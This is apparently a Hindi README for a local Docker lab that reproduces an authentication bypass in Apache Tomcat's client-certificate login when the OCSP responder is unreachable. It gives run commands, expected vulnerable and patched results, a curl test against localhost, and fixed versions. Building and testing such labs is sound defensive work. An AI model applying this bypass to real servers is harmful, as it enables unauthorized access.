
यह रिपॉजिटरी CVE-2026-29145 का परीक्षण करने के लिए डिज़ाइन किया गया एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) वातावरण शामिल करता है।
इस रिपॉजिटरी में CVE-2026-29145 के परीक्षण के लिए डिज़ाइन किया गया एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) वातावरण शामिल है।
यह भेद्यता Apache Tomcat के Mutual TLS (CLIENT_CERT) कार्यान्वयन में एक प्रमाणीकरण बायपास है। जब OCSP (ऑनलाइन सर्टिफिकेट स्टेटस प्रोटोकॉल) को सॉफ्ट-फेल अक्षम के साथ कॉन्फ़िगर किया जाता है, तो Tomcat OCSP जाँच विफलता को कठोर अस्वीकृति के रूप में मानने में विफल हो सकता है। यह संभावित रूप से रद्द या असत्यापित सर्टिफिकेट वाले क्लाइंट को प्रमाणीकरण बायपास करने की अनुमति देता है यदि OCSP रिस्पॉन्डर अप्राप्य है या त्रुटि लौटाता है।
| गुण | मान |
|---|
| CVE ID | CVE-2026-29145 |
| CVSS स्कोर | 9.1 (क्रिटिकल) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| अटैक वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| प्रभाव | प्रमाणीकरण बायपास |
.ps1 स्क्रिप्ट का उपयोग कर रहे हैंrun_test.sh स्क्रिप्ट पूरी प्रक्रिया को स्वचालित करती है: सफाई, सर्टिफिकेट निर्माण, और सभी परीक्षण परिदृश्यों (कमजोर, सफल, और पैच किए गए) को चलाना।
# प्रोजेक्ट निर्देशिका पर नेविगेट करें
cd CVE-2026-29145-Tester
# स्क्रिप्ट को निष्पादन योग्य बनाएं
chmod +x cleanup.sh setup_certs.sh run_test.sh
# Python निर्भरताएँ इंस्टॉल करें (यदि poc_exploit.py को उनकी आवश्यकता है)
pip install -r requirements.txt
# पूर्ण परीक्षण सूट चलाएं
./run_test.sh
Linux/macOS पर:
./setup_certs.sh
Windows पर (PowerShell):
.\setup_certs.ps1
यह क्या करता है:
http://localhost:8888 की ओर इशारा करते हुए OCSP एक्सटेंशन के साथ क्लाइंट सर्टिफिकेट उत्पन्न करता हैअपेक्षित आउटपुट:
[INFO] CVE-2026-29145 परीक्षण वातावरण के लिए सर्टिफिकेट निर्माण शुरू
[INFO] OpenSSL मिला: OpenSSL 3.0.x (...)
[INFO] certs निर्देशिका बनाई गई
[INFO] रूट CA उत्पन्न किया जा रहा है...
[INFO] सर्वर सर्टिफिकेट उत्पन्न किया जा रहा है...
[INFO] OCSP एक्सटेंशन के साथ क्लाइंट सर्टिफिकेट उत्पन्न किया जा रहा है...
[INFO] सर्टिफिकेट सेटअप सफलतापूर्वक पूर्ण!
docker-compose up -d
यह क्या करता है:
कंटेनर चल रहे हैं सत्यापित करें:
docker-compose ps
python poc_exploit.py
अपेक्षित आउटपुट:
कमजोर सिस्टम:
[INFO] https://localhost:8443/protected-resource से कनेक्शन का प्रयास...
[WARNING] कमजोर: OCSP जाँच विफलता के बावजूद पहुँच प्रदान की गई।
[WARNING] प्रतिक्रिया पूर्वावलोकन: <html>...
पैच किया गया सिस्टम:
[INFO] https://localhost:8443/protected-resource से कनेक्शन का प्रयास...
[INFO] कमजोर नहीं: पहुँच अस्वीकृत (प्रमाणीकरण कार्य कर रहा है)।
| परिदृश्य | OCSP स्थिति | अपेक्षित (पैच किया गया) | परिणाम (कमजोर) | नोट्स |
|---|---|---|---|---|
| सामान्य संचालन | ऑनलाइन और मान्य | 200 OK ✓ | 200 OK ✓ | OCSP जाँच सफल, पहुँच प्रदान की गई |
| सॉफ्ट विफलता | ऑफ़लाइन/टाइमआउट | 403 Forbidden ✓ | 200 OK ✗ | बायपास - OCSP रिस्पॉन्डर अप्राप्य |
| हार्ड रद्दीकरण | ऑनलाइन और रद्द | 403 Forbidden ✓ | 403 Forbidden ✓ | सर्टिफिकेट स्पष्ट रूप से रद्द |
| अमान्य सर्टिफिकेट | अमान्य श्रृंखला | 403 Forbidden ✓ | 403 Forbidden ✓ | श्रृंखला सत्यापन विफल |
परीक्षण 1: डिफ़ॉल्ट (OCSP रिस्पॉन्डर विफल)
# कंटेनर चालू रखें
python poc_exploit.py
परीक्षण 2: OCSP रिस्पॉन्डर रोकें (टाइमआउट का अनुकरण)
docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder
परीक्षण 3: curl के साथ मैन्युअल परीक्षण
curl -v \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://localhost:8443/protected-resource
CVE-2026-29145-Tester/
├── README.md # यह फ़ाइल
├── setup_certs.sh # सर्टिफिकेट निर्माण स्क्रिप्ट - Bash (Linux/macOS)
├── setup_certs.ps1 # सर्टिफिकेट निर्माण स्क्रिप्ट - PowerShell (Windows)
├── cleanup.sh # सफाई और रीसेट स्क्रिप्ट - Bash (Linux/macOS)
├── cleanup.ps1 # सफाई और रीसेट स्क्रिप्ट - PowerShell (Windows)
├── run_test.sh # स्वचालित पूर्ण परीक्षण चक्र स्क्रिप्ट
├── docker-compose.yml # Docker सेवा ऑर्केस्ट्रेशन
├── requirements.txt # Python निर्भरताएँ
├── poc_exploit.py # मुख्य परीक्षण स्क्रिप्ट (लॉगिंग और त्रुटि हैंडलिंग के साथ)
├── simple_proxy_fail.py # मॉक OCSP रिस्पॉन्डर (विस्तृत लॉगिंग के साथ)
├── .gitignore # सर्टिफिकेट और लॉग के लिए Git इग्नोर नियम
├── certs/ # उत्पन्न सर्टिफिकेट (setup_certs स्क्रिप्ट द्वारा बनाए गए)
│ ├── ca-chain.pem # रूट CA सर्टिफिकेट
│ ├── ca-key.pem # रूट CA निजी कुंजी
│ ├── server-cert.pem # Tomcat सर्वर सर्टिफिकेट
│ ├── server-key.pem # Tomcat सर्वर निजी कुंजी
│ ├── client-cert.pem # परीक्षण क्लाइंट सर्टिफिकेट
│ └── client-key.pem # परीक्षण क्लाइंट निजी कुंजी
├── tomcat/
│ └── server.xml # कमजोर Tomcat कॉन्फ़िगरेशन
└── logs/ # Tomcat लॉग (रनटाइम पर बनाए गए)
tomcat/server.xml फ़ाइल कॉन्फ़िगर करती है:
<SSLHostConfig
hostName="localhost"
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem">
<OpenSSLConf>
<ConfCommand name="OCSP" value="on"/>
</OpenSSLConf>
</SSLHostConfig>
मुख्य सेटिंग्स:
certificateVerification="required" - CLIENT_CERT प्रमाणीकरण लागू करता हैOCSP on - OCSP रद्दीकरण जाँच सक्षम करता हैमॉक OCSP रिस्पॉन्डर (simple_proxy_fail.py):
localhost:8888 पर सुनता है# macOS
brew install openssl
# Ubuntu/Debian
sudo apt-get install openssl
# CentOS/RHEL
sudo yum install openssl
कारण: सर्टिफिकेट निर्माण विफल हुआ या नहीं चलाया गया।
# साफ करें और पुनः उत्पन्न करें
rm -rf certs
./setup_certs.sh
कारण: Tomcat कंटेनर चल नहीं रहा है या तैयार नहीं है।
# कंटेनर स्थिति जाँचें
docker-compose ps
# लॉग जाँचें
docker-compose logs vulnerable-tomcat
# सुनिश्चित करें कि दोनों सेवाएँ चल रही हैं और स्वस्थ हैं
docker-compose up -d
sleep 10 # सेवाओं के शुरू होने की प्रतीक्षा करें
कारण: Tomcat शुरू होने में बहुत समय ले रहा है या नेटवर्क समस्याएँ हैं।
# Tomcat स्टार्टअप लॉग जाँचें
docker-compose logs vulnerable-tomcat
# टाइमआउट बढ़ाएँ और पुनः प्रयास करें
timeout 30 docker-compose logs -f vulnerable-tomcat # स्टार्टअप की निगरानी करें
कारण: Docker Compose इंस्टॉल नहीं है या PATH में नहीं है।
# Docker Compose इंस्टॉल करें (यदि स्टैंडअलोन उपयोग कर रहे हैं)
sudo curl -L "https://github.com/docker/compose/releases/download/v2.x.x/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
# या docker compose का उपयोग करें (Docker Desktop के साथ V2 एकीकृत)
docker compose up -d
कारण: सर्टिफिकेट सत्यापन विफल हो रहा है।
# सर्टिफिकेट फ़ाइलें मौजूद हैं सत्यापित करें
ls -la certs/
# सर्टिफिकेट वैधता जाँचें
openssl x509 -in certs/client-cert.pem -noout -text
कारण: SSL हैंडशेक विफलता - यह संकेत दे सकता है कि हार्ड-फेल सही ढंग से काम कर रहा है।
समाधान: यह वास्तव में एक सकारात्मक संकेत है! हार्ड-फेल OCSP विफल होने पर पहुँच को रोक रहा है।
# जाँचें कि OCSP रिस्पॉन्डर चल रहा है
docker-compose ps ocsp-responder
# विस्तृत त्रुटि देखें
python poc_exploit.py # पहले से ही विस्तृत लॉगिंग प्रदान करता है
कारण: पोर्ट 8443 या 8888 पहले से उपयोग में है।
# पोर्ट का उपयोग करने वाली प्रक्रिया खोजें
lsof -i :8443
lsof -i :8888
# प्रक्रिया को समाप्त करें या docker-compose.yml में विभिन्न पोर्ट का उपयोग करें
# Tomcat लॉग
docker-compose logs -f vulnerable-tomcat
# OCSP रिस्पॉन्डर लॉग
docker-compose logs -f ocsp-responder
# Python स्क्रिप्ट डिबगिंग
python poc_exploit.py # पहले से ही विस्तृत लॉगिंग शामिल है
# टर्मिनल खोलें और चलाएं
docker-compose logs -f
# दूसरे टर्मिनल में, परीक्षण चलाएं
python poc_exploit.py
# OCSP रिस्पॉन्डर से कनेक्टिविटी परीक्षण
curl http://localhost:8888/
# Tomcat कंटेनर के अंदर से OCSP रिस्पॉन्डर परीक्षण
docker exec vulnerable-tomcat curl http://ocsp-responder:8888/
# SSL हैंडशेक परीक्षण
openssl s_client -connect localhost:8443 \
-cert certs/client-cert.pem \
-key certs/client-key.pem \
-CAfile certs/ca-chain.pem
सभी कंटेनर, वॉल्यूम, सर्टिफिकेट और लॉग हटाने के लिए:
Linux/macOS पर:
./cleanup.sh
Windows पर (PowerShell):
.\cleanup.ps1
यह क्या करता है:
certs/ निर्देशिका हटाता हैlogs/ निर्देशिका हटाता हैसफाई सत्यापित करें:
docker-compose ps # कुछ भी नहीं दिखाना चाहिए
ls -la certs/ # मौजूद नहीं होना चाहिए
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
इस भेद्यता को कम करने के लिए, Apache Tomcat को निम्नलिखित संस्करणों में अपग्रेड करें:
| संस्करण श्रृंखला | न्यूनतम फिक्स्ड संस्करण |
|---|---|
| 11.0.x | 11.0.20 या बाद का |
| 10.1.x | 10.1.53 या बाद का |
| 9.0.x | 9.0.116 या बाद का |
अपग्रेड चरण:
# उदाहरण: पैच किए गए संस्करण का उपयोग करने के लिए docker-compose.yml अपडेट करें
# बदलें: image: tomcat:10.1.52-jdk17
# करें: image: tomcat:10.1.53-jdk17
docker-compose down
docker-compose up -d
समस्याओं, प्रश्नों या योगदान के लिए, कृपया एक issue खोलें या pull request सबमिट करें।
अंतिम अद्यतन: अप्रैल 2026
स्थिति: परीक्षण और दस्तावेज़ीकरण पूर्ण